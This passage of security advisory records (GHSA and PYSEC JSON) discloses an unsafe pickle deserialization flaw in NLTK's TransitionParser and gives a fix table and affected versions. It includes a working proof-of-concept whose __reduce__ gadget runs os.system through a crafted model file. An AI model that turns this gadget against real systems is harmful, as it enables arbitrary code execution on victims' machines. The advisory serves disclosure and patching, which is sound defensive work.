`transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "GHSA-rhp5-r9x4-f5g2",
  "modified": "2026-09-08T16:41:11Z",
  "published": "2026-09-08T16:41:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution"
}

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk",
        "purl": "pkg:pypi/nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
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        "0.9",
        "0.9.3",
        "0.9.4",
        "0.9.5",
        "0.9.6",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "2.0.1",
        "2.0.1rc1",
        "2.0.1rc2-git",
        "2.0.1rc3",
        "2.0.1rc4",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0b4",
        "2.0b5",
        "2.0b6",
        "2.0b7",
        "2.0b8",
        "2.0b9",
        "3.0.0",
        "3.0.0b1",
        "3.0.0b2",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.1",
        "3.2",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.4",
        "3.2.5",
        "3.3",
        "3.4",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4",
        "3.4.5",
        "3.5",
        "3.5b1",
        "3.6",
        "3.6.1",
        "3.6.2",
        "3.6.3",
        "3.6.4",
        "3.6.5",
        "3.6.6",
        "3.6.7",
        "3.7",
        "3.8",
        "3.8.1",
        "3.9",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "3.9.4",
        "3.9b1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ],
  "details": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.",
  "id": "PYSEC-2026-3734",
  "modified": "2026-09-01T08:54:51.968743Z",
  "published": "2026-08-25T02:16:53.033Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}